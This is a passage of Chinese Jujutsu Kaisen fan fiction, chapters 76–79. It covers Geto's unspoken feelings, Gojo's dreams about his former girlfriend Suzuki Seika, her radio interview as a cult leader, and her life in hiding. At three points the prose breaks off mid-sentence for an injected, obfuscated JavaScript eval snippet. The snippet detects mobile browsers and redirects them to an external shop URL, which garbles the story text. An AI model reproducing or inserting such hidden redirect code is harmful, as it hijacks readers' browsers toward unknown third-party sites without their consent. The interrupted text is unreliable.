无事发生的一小段时间后,咒术高专来了一个插班生。据说不经常有这种事情发生,保守的掌权者还是更喜欢传统的术式和经一定时间观察后知根知底的咒术师幼苗。 但这个忘记了自己名字的女孩,她是一个反转术式拥有者。 她似乎还有些精神状态方面的……小问题。 他怜悯她,他想,或许是这样。 -- 铃木星夏用一种轻描淡写的语调让他在一个难以入眠的晚上,直接倒在了楼下的长椅上。 冬天,这里四面漏风,夏油杰感冒了。 她还真是…… 不过正如铃木所说的那样,她能在鱼龙混杂的场所安然无恙,的确是有些不为人知的特长。 他很高兴她愿意说这些,告诉他。 而且,也许她自己都没有发现,她在入学后的一段时间里,逐渐融入了高专的氛围,言谈比从前流畅许多,眉目间也有了更多表情。 虽然,直接给别人起一个人机的外号很失礼,但以前夏油杰在心中多少认可【铃木星夏,如果没有人和他说话,她就像个没激活的人偶一样。不,应该说是机器人。从此科幻小说里的科技人造人都有了具体形象。】这句来自挚友的评价。 最后一句有点言过其实了。客观说。 外宿后的那天早上,夏油杰一夜好眠后起得早了,他买了早餐。 敏锐地注意到用餐的氛围似乎有些…… 在那之后他问五条悟:“你和铃木,怎么了?” 哪知道挚友像是被人圈紧了喙的鸟类,嘴一抿,拳一捏,干瞪眼。 后来的任务他直接提出了不带这个【碍手碍脚,没有助益】的累赘。 ……“她又让你不高兴了吗?” “是!” “不是才过去一晚上……”这就是问题所在,从态度正常--过夜--冷若冰霜,中间的时间到底能够发生什么呢? 可是看铃木的表情,她那边和以前貌似也没什么两样。 -- 偶尔出现的变量,和他引起的喧哗,能让人听见更多。夏油杰在见识到-- 1.后辈被一个高中生肉眼可见的心动,但她拒绝了他。 2.挚友三步两回头,而且先前言及【铃木星夏】这几个字后,要么抱怨,要么不肯说话的样态 3.夏油杰,他自己本人,在见到这个脸颊都带红的高中生后内心不屑且不悦 --以后,他自己都被这些新鲜获知的信息吓了一跳。 铃木……铃木的手指跳舞一样轻巧地放在那个男孩的脖颈上,他的脸更红了,然后竟然拨开她的手、再也受不了一样逃走了。 太逊了,他想,怎么会有人对喜欢的人这样。 然后五条悟把纸条没收了。 夏油杰无视了刚才获知的信息3,认为挚友干得好。 不过在那天晚上,夏油杰打破了自己的一部分边界感,或者说他刻意也忽视了正常人际往来的礼仪,他邀请铃木去了他房间里。 并且极力将这个行为正常化--虽然铃木一点也没有犹豫地就进来了。他看得出来,她当真一点不扭捏。 “如果以后不做咒术师还可以去做家政--” 她还再说这个,而他……夏油杰草率的结束了这个话题。他顺便问了点从不重复的陌生音节,她始料未及的样子一点也不伪装,作答想必也是新鲜现想。 他认为她有秘密,而他尊重她,他想,认为是这样。 -- 什么时候起,对于铃木星夏这个人的判断总是失误呢? 关于圣诞节那天的事端,夏油杰一点也不愿意多想。 他因为好奇,或许也因为嫉妒,或许…… 悟和铃木又有了龃龉,这是夏油杰不知情的时候发生的事情,然后他们又在他不知情的时候莫名其妙的和好了。 他们上午一起任务,下午也在一起单独呆了一会。 而她晚上又和昨日一面之缘可死缠烂打的那个高中生又跳了舞。 所以,当她问有没有人想…… 真糟糕,他不应该跟出去。 他起初以为她无害,事实并非如此。 他起初以为她易懂,反而是他目盲。 圣诞节以后她就不愿意和夏油杰说话了…… 但新年后的一反常态恍若无事发生,又令夏油杰觉得捉摸不透。 铃木星夏,她以谜团敷面,多重面纱。 真正喜欢上她要在属在忙碌前的最后一次集体聚会-- 铃木星夏展现出了不知疲倦的一面,所有人都看得出来她对游戏没那么多喜欢,可她还是一次又一次的复活,重启,在一关又一关重复的关卡里耗费时间。 夏油杰想,这在希腊神话里可是众神对西西弗斯的惩罚。 游戏结束后他们随口说了两句话。 其实根本不是随口,大概只有她这么觉得,可夏油杰是深思熟虑地开口,然后轻而易举的被她说出的语句打动。 她的言语汇流到他耳朵里,一阵青烟一样下沉,齐齐坠到他的心脏。 然后……夏油杰很妥善的保管这些泼出去的水一样的话语,就算这些字句从来没打算被人记住。 【不必纠结我以前的姓名,那毫无意义。】 似乎就像是在说,在认识他们之前,她的一切都不值得留恋一样。 在意识到上述内容之前,夏油杰就瘙痒似的感受到一阵刮擦和窃喜,不过他没有表露出来。 他认为自己不应当很轻率,他想,大概要这样。 -- 说到推石头,再眼见着它一点功效也没有,次日再重复一遍。还有什么能和这种事情类比呢? 答案揭晓,原来是袚除咒灵。 咒术师的工作从一开始就注定了是日复一日的奔波,这样的,是这样的对吧? 恋爱的问题注定不能干扰夏油杰这位咒术师很久,因为人在思考精神层次的需求之前,还需要掌握生活的技巧。 他的一团糟。 看上去还算光鲜,然而内里一塌糊涂。 拂面的风从凉到热,周围的人声与虫鸣也逐渐喧哗,但是,隐居在隔绝空间的夏油杰只感受到混乱和孤独。 这点在铃木星夏与五条悟确认交往后更明确了。 …… 梦里的事件也不是妄诞奇想,然而她竟然能用一个笑容就带过去,转头继续和男友谈情说爱。 夏油杰做不出挽留的事情,在他们交往前他没开口,现在更无从说起。 只不过,在一阵冰冷的悸动驱使下,他还是给她发去了消息。 大错特错。 日本是一个位于北半球的国家,也就是说,7-9月这3个月,往往在热夏中消磨。而他似乎是从另半个地表投射穿过地心的影子,那里在落雪降霜。 夏油杰又一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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透支激情后的空茫和长期的疲惫另夏油杰止不住喘气,他也不情愿和她说话,承认她说的确实更正确--世界上有那么多人,试图一劳永逸和试图讨伐源源不断的咒灵到底哪个更有可行性? 都没有。 而人与人之间的差别当真有那么大吗? 17岁,酝酿了一年的极端种族主义思想在夏油杰身上冒头,怒涛般势不可挡,然后被一杯热咖啡浇平了。 在车后座上,夏油杰迷惘地坐着,直到正金寺蹑手蹑脚上了他自己的车,略带谨慎地开口,问他发生了何事。 回答问题的一套流程已经在夏油杰脑袋里习惯成自然,他喜欢委婉的说法,但不脱离实际。因此停工了有一小会的概括能力和理性思维又开始运作,他心中轻率的念头又被降温了不少。 但他没办法直接开口,他开始想念星夏。对她说的话感到既羞愧又珍重,夏油杰选择用以填补刚才的缺口的感情是与先前短暂存在的激情等同的喜爱。 不过唯一不同的是,他决定这份喜爱会持续很久很久。 夏油杰再也不打算掩饰自己对她的喜欢了,就算她不会和他在一起,就算……她会和他最好的朋友相恋许久。 夏油杰放置辅助监督的问题很久很久,他沉静地决意自己会做一个旁观的守护者,只在星夏需要时现身。虽说她一点也不像是会被谁保护的样子。 他认为自己又比先前更了解她。 但是,但是--但是。 夏油杰只等来了信使捎来的留言。 “她往另一个方向走了。”棕色头发的女孩说。 “那个姐姐让我们来找你!她的头发是红色,眼睛是金色,白天都没有那么亮--”金色头发的女孩被打断了。 “菜菜子,别说了!” 美美子递给他一张纸条,纸业四面都是手撕痕迹,字迹潦草,有一处笔锋甚至戳通了纸面。 上面写着-- 回去吧,拉斯柯尔尼科夫。 附赠一个可笑的三笔画笑容--上面两个弯眼睛,下面一个弯嘴巴。 这是夏油杰从她那收到的最后一则讯息。 77.第 77 章 童心来复梦中身 夏季,2016,从春天的大地震开始,全国上下也就在对未来晃晃悠悠的期许中隐隐约约意识到了今年大概不会是完全和平的一年。 6月持续下的大雨,8月的台风,咒术师这份工作的含金量一直在被添砖加瓦。 因为用词是【含金量】,所以也说不好【添砖加瓦】具体算不算个好事-- 好消息,不会因为市场饱和而失业,而且绩效待遇愈发可观。 坏消息,工作量倒因长期人手短缺,饱和得不得了。 未来会更好这个话,大家会相信他只不过是因为一直被灌输,不过究竟是不是呢…… “一年不如一年了,我是说工作舒适度。”人类完成进化需要很久,这是生物学和科学家们共同通过化石和基因观察得出的结论。 已经成为一名执业医师的家入硝子知道这个浅显的道理。 不过她也知道,有些比一般的超自然还要超自然的咒灵,它们就不用遵循这点,诞生的等级全凭造化。 要是它们也有基因和繁衍冲动,这世界上应该早就没人类什么事了。 她穿着黑色的平底鞋踏过雨后阳光下泛着紫红色的土地,走过没熬过大雨的松软堆叠的树叶,湿漉漉的紫红色和松软黏在了鞋底。 本来上班就烦……谁也不愿意一直嗅闻水腥气。 那双脚停在楼门口的地垫上。 然后,家入硝子把胭脂一样的泥,滴着水的潮湿一起丢在了楼外。她只身进入办公地点,新的白大褂上有咖啡的味道,和她的黑眼圈乃至职业生涯一样清苦。 售货机是她简单打了一个申请后由同僚撰写报告,最后得到审批,并在一个工作日就安装好的职工福利,就是申请的流程有点长,而且里面没有酒-- “硝子,你这样说未免有些不知足了。”夏油杰是第一个投币咖啡的人,他当时这么说。 从此咖啡的气味就像飘带一样萦绕这栋楼不散了。 灰原还是很爱和可乐,不过他串门的时候喜欢直接跑宿舍。 挺好的,因为那也比消毒水和血还有人体组织的味道能接受的多。 想到这里,硝子听见后面传来的喷嚏声。 那人见她回头还和煦地打了声招呼:“硝子,我来找悟。” 然后他说:“今天其实没有很冷,我也没感冒。” “夏油。”她点了点头,并不惊讶:“如果五条需要,我也可以帮他做一个医生考试资格初审材料。我有公章,也有权限。” …… 话题到这里就在一对老友中进行不下去了,她得到的回应是夏油杰的苦笑。 五条悟来医务室躲清闲是一周要发生一两次的,他可不是为了学习知识。 他们早就不是学生了。 “走吧,一起过去,你可以把他带走,或者我们一起下楼做解剖。” “哈哈,免了,不过……悟只是心情不好,我是说,可能。” 这句话又引起一对好奇的目光:“?” 夏油杰再次重申:“我也不确定。” “星夏又怎么了。”硝子脚步稍慢,顺势又饮了一口咖啡:“别这么看我,你们两都算是独当一面,能一起焦虑起来的事我想不出很多。你又来医务室找他。” “……” “对了,你知道吗,他们以前很喜欢在医务室约会。” “硝子……” 这件事情大概要起源于一则夜间广播电台。OO广播电视台的一档传统电台播放了对于近期引起一定关注的某宗教团体领导人员进行了访谈。 主角正是名为铃木星夏的【美女教主】。 “挺讽刺的。”还没听见具体内容,硝子就又喝了一口咖啡,回头却发现夏油完全没注意到她说的点。 硝子解释:“我是说【美女】教主。拿新宗教的10大教举例,对于法人和创始人,一般都是称呼为xx先生,或者老先生。” 宣传风向总在本末倒置的点上呢。 对于这点夏油杰不置可否,铃木星夏出现在公共场合这件事情本身让他心神不宁……性别议题的钝痛本来也不剐蹭他,而且这里有更值得注意的内容。 “我发现总监部对她的处决通告取消了。内网、文书、纸质文件,都没有找见。” 不存在的事情又奇迹般的多了一件。 “哦?”这确实比美女和访谈都重要很多。星夏连夜去京都修改老东西记忆了?还是用某种方法取消了认定和判罚。硝子决定听50块的,但政治问题她不想烦,左右不如支持一下节目。 她决定:“访谈官网上有回播吗,我想听听。” ……重点分明不在这里,夏油杰不再说好友不想听的话,他直接转发了音频过去。 -- 五条悟做了一个很长的梦。 无可奈何的结局是梦的开端。 【梦中所见是一抹往昔画卷中不被尘世磨灭的背影,这个影子诞生于9年前的夏天,但鲜活到仿佛向她问好,她就能在梦中回过头来,冲他微笑。】 “让我们欢迎本次做客节目的嘉宾,铃木星夏女士。铃木女士于2008年进入盘星教,也是近期在社会上引起了一些反响的人物。现任东京宗教研究所所长,社会科学宗教学会副会长,人文科学委员会议事长……” “老实说其中大部分的声名,我都不太理解它们背后到底有什么意思。谢邀,我是说,我本人其实没有从事过你说的这些主席委员等称谓后的一切具体事项。” “那个……铃木女士,这次是直播。” “我知道,我们上次也是的(低声笑)。这只是一个免责声明,我不想再和封建迷信还有不属于我的社会面负面评价扯上关系。说起来,上次本台的节目也是您主持的吧,抱歉,是我语气太严肃了吗?女士,我没有说您不好的意思。说来所有的工作都是领导安排的,作为盘星教荣誉教主,我永远站在需要帮助的劳动者那边。” “11年的那次访谈,那个是……” “哎呀,也不是什么值得记忆的大事件。不过我很高兴能在这里又一次见到你。” “诶(只有短暂的停顿),我也很高兴能再次采访您,铃木女士。” “这不是一句寒暄哦,彼时,你我都是节目中的小喽啰,而且我们都知道,精神诉求逐年增长,宗教领域的乱像层出不穷,希冀通过科学手段破除谜瘴还有打击违法势力也是电视台作为群众喉舌的义不容辞的责任。” “感谢您的理解(略带疑惑的上扬调)……总之,让我们进入--” “且慢,容我说完。我想讲的是,彼时我是一个被传言为坑蒙拐骗的小型协会会长,自然得不到社会面的理解,不过如今事态有了好转--我又一次来到了贵单位提供的平台上,不过这次规模大许多,而且,我又身负一些好听的头衔。更巧的是,此次负责访谈的主持人仍然是您。这岂非说明,比起5年前,我们都站到了更高的位置上?我为这份努力带来的变化,和因缘际会的重逢感到高兴。” 【一档看似漫不经心的几十分钟访谈,还有妙语连珠但温柔的被访者发言。 她果然过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14182760|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很好,好得不得了。五条悟观览了星夏的创业历程,随着访谈一笔带过的曲折坎坷一起,在每一处流水曲折的岸处都试图挖凿更深刻的信息。 怎么说宗教也是依托信众的供奉存在的团体,低到甚至能够合法避免的税费更是给足了领导者大肆收割的包容性。晚间、车载电台……想也知道面对的就是有车(有一定资产)、夜间行车(工作压力大、{精神诉求}多)群体。 在这点上不广泛的宣传也又一次避免了大众的审视和剧烈讨论。小范围传播的劣势也成了保护的遮阳伞。 她这么狡猾怎么会过不好? 然而,在无法欺骗自己的坦诚的梦中,他还是忍不住担忧,为她途中可能存在的坎坷和行路迢迢。 铃木星夏过过一阵子苦日子。 但后来一切都过去了。她必定有个消息灵通的联络人,否则怎么会接手一个自从06年夏后就隐于地下,无论行事和宣传都变得低调的小规模教团。 报纸上早就刊登过额中有一大瘤的一看就不是好人的法人和盘星教光辉事迹。 政府的查处,舆论的审视,即便调服了只剩一个大空壳的机构内忧,也还有包括但不限于财产清算在内的一系列外部压力。 而且歪瓜裂枣的蠹虫和从不坚定的信众散去后……剩下的秃鹫和根深蒂固的蛊毒想来也不好清理。 铃木星夏也许使他们默默无闻地从这个世界上消失了,她有的是这方面手段。 她应该就是这么做的。 她一定就是这样的。】 “盘星教能为信众带来怎样的福祉呢?” “大部分是精神方面的慰藉,我想这本身也属宗教功用范畴--无论是传统的佛教、本土化的神道教,还是近些年信众广泛的基督教,都为人民勾勒了一个不属于此世而属于极乐世界和天堂或者来世的美好愿景,不亚于理想国的乌托邦。人在现实生活中能得到的财富和物质总是有限的,但我们亏好可以抱有期望。有些信仰和愿景是如此厚重,以至于仅仅只要精神上接触到那份思想,人就能获得无边的平静和快乐。(显而易见的甩杆钓鱼) 当然我所要说的不仅限于空想,多亏了我的常务副会长以及拥有极高管理能力的挚友七海建人先生--现在我们教团内部还设有就业指导和专业选择部门,以实际能引导求职者和学生进行职业生涯规划的讲座和一对一课程,帮助可能有此需求的广泛群众处理现实问题。(语速快而流畅) 正好说到这里,打个广告,现在回归正题。(优哉游哉地说出失礼的话) 如果只有乌托邦和假想,就容易陷入脱离现实的虚浮,到最后大家都会发现只有虚无主义的黑洞才是真的,因为人从出生就对向一个永恒命题--死亡……”(后面略去数段坑蒙拐骗的劝导) 【铃木星夏从不愚笨,她的过往皆在雾中,但障眼法也仅对外人生效。 她知道自己要的什么,也知道怎么获得它,很快,她找到了昔日同窗。 他没想到她也离开了咒术界,准确的说,叛逃。 往日的龃龉和不快早就灰飞烟灭,但疑惑还是促使七海建人问出那个问题:“你为什么那么做?” 当时星夏什么也没有说,只是在明亮的午后,露天的遮阳伞下的桌前,无声享用完蛋糕和咖啡。让他一个人若有所思。 然后七海建人加入了她的转型队伍,帮助打理繁琐的教团事务。 …… 现在,他们还能帮人找到更好的生活方式,然后以经纪人一样的抽成方法坑蒙拐骗地套取更多钱财。】 78.第 78 章 独女宝妈驾到通通闪开 2011年的某一天,五条悟因家族事务短暂的回到京都,五条本宅。 庭院和廊庑一如既往不值得期待,恐怕有生之年也不会变动一次,自由欢乐的气息从进门起就被深宅大院束缚在古朴的颜色中。 那天晚上,五条悟在焚香的居室榻榻米上入睡,在清幽香韵中,枕烟而眠。在一阵薄雾中,他又清醒过来。 五条悟离开了景色连绵重复,一成不变的景色,经由一条小径走入一扇过于宽敞的门,而且它伤痕累累,久不愈合。 他沿路走过一片由小溪发源的河流,河道从一跨便能到另一边,逐渐加宽到要通过助跑跳跃,再到能容纳一艘船经过。 河流的颜色是宝石的蓝。当他登船时,有一位已经坐在甲板上的旅客用手指画出河流的流向。她有一双正在燃烧的眼睛,发尾涂了闪闪发光的金色粉末。 “这条河会去往漫宿的边境,如果你从这里趴下去捞,也许还能打捞起不为人知的秘密。”那个女人如此向他介绍。 她长着一张熟悉的脸,那张脸曾经属于他的女友。 五条悟没有说话,冷眼看她。 “看。”她说,铃木星夏如今有了一头正在月下都发光的红发,比她苍白的脸色和嘴唇鲜活许多:“就像这样,被遗忘的东西如果有意识,它们会努力靠向打捞人的。在这里,记忆是比寿命更重要的秘宝。” 铃木星夏掌心托着一块保有石头记忆的刻雕,呈递给他瞧,她语调悠扬:“这里没有真正的死亡,但也扩大了孤独的边疆。” 五条悟忘不了她的手,忘不了她的抚摸,还有她火热的温度。 随着周围温度升高,比温室效应加剧的夏日还灼人,他意识到,对方就要碰到他的手腕了。 五条悟在梦中也是矛盾的,他又不想靠近她,也不想被她找到,但是……湖面平如镜的倒影如实记录他一步不动的凝望。 后来,他有点生气地告诉对方:“我已经结婚了,你不要这样。” 她骗了他那么多,他也要说谎。 梦中的女人有些惊讶,以至于她温度不慎将他的手心灼烧。 “说起来你也差不多到年纪了。” 然后他就醒了。 出生于1989年末,在2011年还没到22岁的--21.8岁青年清醒在有花香的卧榻上,庭院的光透不进室内,所以能判断时间还在晚上。 但他穿着白色里衣拉开门,不着鞋袜走到月下,沐浴能凝成露水的福飨。 五条悟的手上有一道起泡的烫伤,他不记得自己上一次有这种小伤是什么时候了,不过……这事情让他想起了很久以前的一个圣诞。那年有人说自己被咒灵烫伤了,反转术式治不好。 她连那个都在说谎?! “真是非常精彩的发言,在当下蓬勃兴旺的背景中,宗教哲学与神学的各派思想也精彩纷呈……近期网络中关于您施展无形之术以及在教内谈论怪力乱神的视频和录音您是如何看待的呢?” “……终于还是来了吗,每次采访必备的刁难环节?” “铃木女士,这是预告的时候网络宣传环节抽取到的热心观众留言--” “说是这么说我以为大家都会抽不到自己喜欢的就不停。咦,看您的表情难道不是吗?啊没别的意思我就是说,我自己也有【摇不到6就不去吃烧烤】的深夜誓言呢,经验表明--多投几次骰子总会成功的。”(她不高兴了。) “这对我们来说算是严重的指控了。” “好吧,您这么想我也没办法。大概是做了母亲以后面对孩子的胡搅蛮缠很轻易就能识别出背后的离奇动机。”(……) “……” “总之,网上消息各色云集,还需网民自行分辨,不要轻信,不要随意转账,发送不雅照片--后面忘了。我建议从立法上禁止发布虚假新闻和使用合成图像,新闻公司也好,自媒体也是。” 【母亲…… 五条悟在梦中又梦到自己的另一个更早的梦。那年他说他结婚了。 次年铃木星夏就有了孩子。】 “孩子,铃木女士也做母亲了吗?” “叫我星夏就行。是的,生命有限,一个孩子可以成为人血脉的延续,作为母亲,我的女儿使我成为一个更完整的人……”(后面他没再听下去。) 【其实铃木星夏是一个冷酷无情的邪恶认识,追奉不可探知、不可亵渎、不可触及的隐世诸神。她说的所有话都不应被轻信,誓言过目即忘,再说她也没对他立过什么誓言。 时间不久的恋情,宛如昨日黄花。她必定是这样看待的。 铃木星夏或许结婚,或许没有,但她对男人从也没什么真感情,只有孩子令她柔软一二,她视为是自己有限生命的延续。 不过无论如何,她在私人生活的插曲并未影响事业的腾飞。她有了如此多的头衔,并且在不知道什么时候和咒术界的高层暗度陈仓。五条悟避之唯恐不及的总监部老位者,她在里面畅快游走,又给自己挣得自由。 那么,代价呢? 匆匆一晃的9年,和她并不看重的几个旧人,仅此而已。】 五条悟隐隐约约闻到碘酒和金属针头的味道,它们和他一起在梦里,做一个在医务室里睡觉的木头人游戏。知觉逐渐掌管了这座被意识视为【被抛弃】的牢笼。他的眼睛干涩得要命,好像随时能睁开。 但朦胧的愿望之潮带着过往,卷土重来。 还有什么比地图导航都指不到的地方更适合致人死亡。 答案是,还有城市里血管一样的小巷。 个体的离去对庞杂的大机器而言什么也不是,但这的确也是现代社会的隐患--如同反复发作的血栓。 沉积的血栓堵住了年轻的五条悟对未来和对爱情的许多期望。 他看过了照片,被高温和干旱造访的村庄,失去了一切但可悲的留下性命的迷途羊群,他们密密麻麻倚靠堆叠的影子,细胞和寄生虫的显微镜影响一样,随着凝成实体的孤独,一起汇聚在0.24毫米厚的相片上。 铃木星夏只为其中的2个典型人物带去了死亡,其他人,她拿掉了他们的挣扎。 他也去过小巷,看不出大地曾经吞没过一个生人,没有残秽,没有料渣。被流浪生物撕破的纸袋袒露内脏,面包的尸体发出咯吱咯吱的声响。 它们嘲笑他:“她已经走了,早就离开,但你毫无保留的进去了一个一定会把你陷住的陷阱。” 他用脚踢开塑料包装,一只老鼠仓皇逃窜,他没管它。 走出暗巷,走到阳光下。 五条悟在那次的前几天还是比较喜欢小巷这个地方的,后来么,不喜欢了。 要说这个事情还有什么值得可以追溯的…… 有一个约定成俗的比喻,人们会把表面只显露小部分的情形比喻为冰山。虽然大部分人没见过南极,但说是这么说。 1912年,有一艘“永不沉没”的大船从英国开往美国,它于凌晨被大海吞没。极有液体张力的大西洋开了口,泰坦尼克号就沉了,起因是一块冰山。 2006年,五条悟遇到了一个若无其事的犯案者:失踪,男人,小巷,没有残秽。情形换汤不换药到都不需要多加思考。 她睁大自己的眼睛,在一天之内遇见他两次,表情天真。 那个女孩随口说自己15岁。 …… 2016年,五条悟又一次在反刍的梦境中重新得出他已经知道的结论:铃木星夏和冰块一样藏得很深,捂不化,而且冷。 之前你来我往挣扎了许久的梦醒课题爆了个冷门。他既不是自然醒,也不被知觉唤起。 五条悟从温度不高的医务室白光中醒来,耳朵里咔哒的电灯开关慢了半拍。他和先后走进来添加人气的两位好友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14222937|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱怨:“不要冒昧地开灯……有人在睡觉呐!” “这是我的医务室。” “下午你不要带两个一年级去实操训练吗?” “讨厌讨厌讨厌,你们都讨厌!”五条悟拽下眼罩就是闹脾气兼撒娇。 “你们快走,我听会访谈。”硝子带着手机屏幕一晃而过,大声密谋接下来的摸鱼。 咔哒两声之后,两位男士被隔绝在光的外面,又到了走廊里。 这里的每一声脚步都提示没有其他人类的回响。 然后,就会有聪明的人发现,自己只剩一个人了。 幸好这里有两个。 五条悟被挚友兼同僚押解回去上课了,给他负责的一年级上实践课。 “今年的两个新生都挺优秀,很有潜力。” “所以你更应该做好指导。”冷静、温和、执行力强,如果他是高层他也会喜欢和杰打交道。 但是!容他直言,他一向会如此:“要不是我愿意承担一部分教学,你根本没空应付高层。” “是是,我铭感五内。”夏油杰绝口不提当年是有个人拉他一起留校做老师。结果就是,对方承担了很多重量级的咒术师工作,他承担了一部分咒术师兼需要保密和少量需要高情商处理的政务工作。 过了一会,他们走出楼,迎接他们的又是一轮象征无休止工作的午后阳光。 “……你看那个访谈了吗?” “听了。她最后差点把主持人弄哭。” “真假?”五条悟停了一下,才接着讲:“我没听完。” “幸好这是只针对小部分群体的车内音频广播,晚上。”夏油补充了了限定的时间段。 “她真讨厌。” 夏油杰最后问,声音非常小,尾音更是轻到缥缈:“是吗?” 【铃木女士,感谢您今日作客本台。最后,还有什么想和听众朋友们分享的吗?当然,广告就免了(试图缓和的玩笑口吻) 哎呀,又问到了台本(惊呼:铃木女士!)上没有的内容,让我想想,有了。 这是一个任何人都有诠释和布道途径的时代,福音满天满地飘扬,五味杂陈的。那我就劝听众朋友们不要轻信吧。我以前认识一个人,他是个……哈哈,理想主义者。 理想主义者怎么了呢? 泛滥了。在这个所有人都可以轻而易举地说自己有抑郁症,有原生家庭困扰,有各种痛苦的时代,不可避免的会存在一些因为没有门槛而无病呻吟的声音,哎,你懂的,泥沙俱下。分辨足够溺毙人的声音,和选择要发出哪种声音,是两个分别的课题。 理想和信念四面楚歌,寸步难行,看起来似乎是这样。 您是想说要在识破了生活本质之后依旧相信生活,可这和轻信又有什么关系? 倒也不是,我这边生活也是忙忙乱乱烦恼不断。只是想说……任何毒素,或者蜜糖,对个人来说的致死量,其实只不过这个巨大世界的边远一角。 以下是我的论点:不要轻信心中莫名升起的激情,不要轻信无端的颓丧,也不要轻信一切都会向好的或者坏的--总之是某个特定的方向前进。 我拿理想主义举例子,是因为我今天倾向于往好处说理,换做其他的也一样。当然我确实认识过理想主义者,而他有些轻信,可能是因为年纪比较小吧,所以才是“纸糊的理想主义”--喜欢把意义挂在嘴上。 不过,一个不知道世事无常,人间险恶的人,他的“意义”老实说也没有什么价值……潮水泛滥嘛,可是物以稀为贵,人格也好,理想也好,只有经洗练打磨过的好东西,才亮晶晶。 …… 当然,我们盘星教也是如此,经得起考验,经得起审查,也对得起年会费,欢迎各位听众朋友线下考察监督,如有更多问题,请拨打热线电话xxxx 铃木女士……】 大洪水么? 79.第 79 章 若为自由故 要你说的话,你从07年到16年的路可都不算坦途。泯然众人有它的辛苦,不过化为水滴藏在涓流中,也有隐蔽这一点好处。 现在你把自己割裂出来了,又一次。自由是好的,也是需要被探索的荒原。 上下求索是行路的本质。 首先,你有一点外表奇异和能被迫使物品达到熔点的小问题-- 你的一颗头颅变成了迷人的金红色。 保险起见,这里需要特殊说明,你只有一颗架在脖子上的头颅。然后它从某天晚上起就在着火,你的头发飘开来,也成了金色和红色的烟霞。 它坐落于你身躯高塔的顶层,从你的塔底升腾而起的火焰总在最高处显眼。于是,你再也不能在大庭广众之下,尤其是晚上,现身了。 这个时候就不得不使你回顾起那个叶公好龙的故事,他见到了真正的龙,反而退却了。你以前总拿【我和铸炉相性极好】来激励自己多讨领导欢心,现在你确实颇受宠爱。 嗯……雷霆雨露,雷霆雨露,不可能再推回领受的隆恩。 于是你顶着一颗闪闪发光的脑袋,大隐隐于市地住进了市郊的一个别墅。 这个曾经带花园,现在全被你烧的一塌糊涂的地方,是某个人的某个安全屋,有时他的女儿也会过来玩耍。 据说是现在行情好了,铸剑为犁--之类之类的,安全屋差不多派不上用场。 其次,火焰总是灼热的,因为高温才能融化金属。 “你又把水管弄炸了。” “我建议你买耐热材料。” “pvc只到70度。” 你大手一挥,给的指示也很有预见性:“换成紫铜的。”熔点高达1083,而且寿命大于100年,以后可以给他孙女和曾孙女一起住。 “……你要在我这待多久?” “放宽心,我已经快能控制好火焰了。等符合【人类出厂标准】我就会找个新地方安顿自己。”2008年,你这么说。 在社交的时候人偶尔能说出异想天开的话,这种调调的言辞很多被当做夸下海口,不过你这么说的时候,你确实有了一半的把握。 他是一个掮客,你是一个潜力股(自称),反正你强取豪夺了一处据点,在伏黑甚尔死后他的下线都没什么优质业务员。 你们一起打了一份暑假工。 “从10月你找上门开始算,暑假早就过去很久了。”这个人很爱抽烟,烟草的臭味已经埋到了他的口腔舌下,乃至深入肺腑。 孔时雨的嘴巴臭臭的,尤其在他反驳你的时候。 “我说的是08年暑假。”夏天已经来了,天气变得很热,而且你的头发也变黑了。 它不再起火,只是有些炸毛,自来卷。 绸缎一样的时光一去不返。 “这么说你要离开了?”你说了一句话,他期待得把它当做承诺。 “是啊,这不就是暑假工吗?” 说到暑假工,难得的假期里除了自找苦吃的人,愿意去干勤杂的也就只有钱不够的学生。他们找个地方搭伙干点能赚钱的零工,然后假期结束,一拍两散,再见面的时候也好统一口径:嘿,我们谁也没见过谁。 再说到学生,猜猜是谁还在上学? “对了,在你帮我找好下家之前--” “我知道我知道,钱多,隐蔽,最好是皮包公司,还有一点人员配置,我已经找到了一个符合你要求的地方。等你彻底治疗好我的孩子。” 孔时雨的意思是先交钱后给货,而且半年里,他等的有些心焦了。 舐犊情深,你勉为其难理解一下,不过你想说的不是这个。 “帮我找个人先。”你报出了七海建人的名字:“我想知道他的联系方式,还有他现在在哪。算了,基本信息履历也一起吧,我知道你有这个能力。” 2008年7月,一般而言暑假开始的时候,你顶着烫直的头发,打着遮阳伞跑到涩谷逛了一通。在这里,你遇到一位故人。 碰见她的时候你转身就打算换条道。不过她喊住了你:“星夏。” 你回头也和她寒暄,假装这是你今天第一次看见她:“嗨,硝子,好久不见。” “……你回头之间就喊出我的名字。” “因为我的视力突然变好了。” “……”她看着你,没说话。 今天,你带了一副茶色的墨镜,瞳孔的颜色经过滤,变深了许多,不过还是能看出来,它们红通通的。 “五条去买甜点了。”硝子突然告诉你。 “哦。”那他去呗,你又没不让他买。 硝子拿出了手机:“我可以电话召唤他。” “要把我捉拿归案吗?”你走到她身边,瞧见狭小的手机屏幕上确实显示着某人的电话号码,就等一键拨通。 硝子的手指与裁判扣在信号枪上的重合了,只要她按下去,你就准备跑。 